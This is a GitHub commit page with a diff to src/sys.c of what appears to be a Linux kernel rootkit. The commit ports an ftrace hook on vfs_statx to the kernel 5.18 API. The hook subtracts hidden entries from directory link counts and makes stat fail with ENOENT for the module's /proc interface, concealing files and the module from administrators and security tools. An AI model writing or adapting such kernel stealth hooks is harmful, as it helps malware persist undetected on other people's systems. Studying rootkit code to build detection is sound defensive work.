Skip to content

Commit

Permalink
stat: Fix vfs_statx API change from kernel 5.18
Browse files Browse the repository at this point in the history
  • Loading branch information
JNE committed Dec 18, 2024
1 parent 1b1727e commit 7f988ca
Showing 1 changed file with 18 additions and 2 deletions.
20 changes: 18 additions & 2 deletions src/sys.c
Original file line number Diff line number Diff line change
Expand Up @@ -1009,10 +1009,13 @@ static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs
}
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
static long (*real_vfs_statx)(int, const char __user *, int, struct kstat *, u32);
static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, u32 request_mask) {
/** XXX do I need this much */
char kernbuf[PROCNAME_MAXLEN+6] = {0};
#else
static long (*real_vfs_statx)(int, struct filename *, int, struct kstat *, u32);
static long m_vfs_statx(int dfd, struct filename *filename, int flags, struct kstat *stat, u32 request_mask) {
#endif

/* call original first, I want stat */
long rv = real_vfs_statx(dfd, filename, flags, stat, request_mask);
Expand All @@ -1022,20 +1025,33 @@ static long m_vfs_statx(int dfd, const char __user *filename, int flags, struct
* and update hard-links counter accordingly.
* 2 make stat fail for /proc interface.
* */

#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
char kernbuf[PROCNAME_MAXLEN] = {0};
if (!copy_from_user((void*)kernbuf, filename, sizeof(kernbuf)-1)) {
if (strlen(kernbuf) > 0 && S_ISDIR(stat->mode)) {
int count = fs_is_dir_inode_hidden((const char *)kernbuf, stat->ino);
#else
if (strlen(filename->name) > 0 && S_ISDIR(stat->mode)) {
int count = fs_is_dir_inode_hidden((const char *)filename->name, stat->ino);
#endif
if (count > 0) {
prinfo("%s: file match ino=%llu nlink=%d count=%d\n", __func__, stat->ino, stat->nlink, count);

/* Hit(s) -> decrement hard-link counts */
stat->nlink -= count;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
} else if (strstr(kernbuf, PROCNAME)) {
#else
} else if (strstr(filename->name, PROCNAME)) {
#endif
/* Mauro? */
rv = -ENOENT;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(5,18,0)
}
#endif
return rv;
}

Expand Down

0 comments on commit 7f988ca

Please sign in to comment.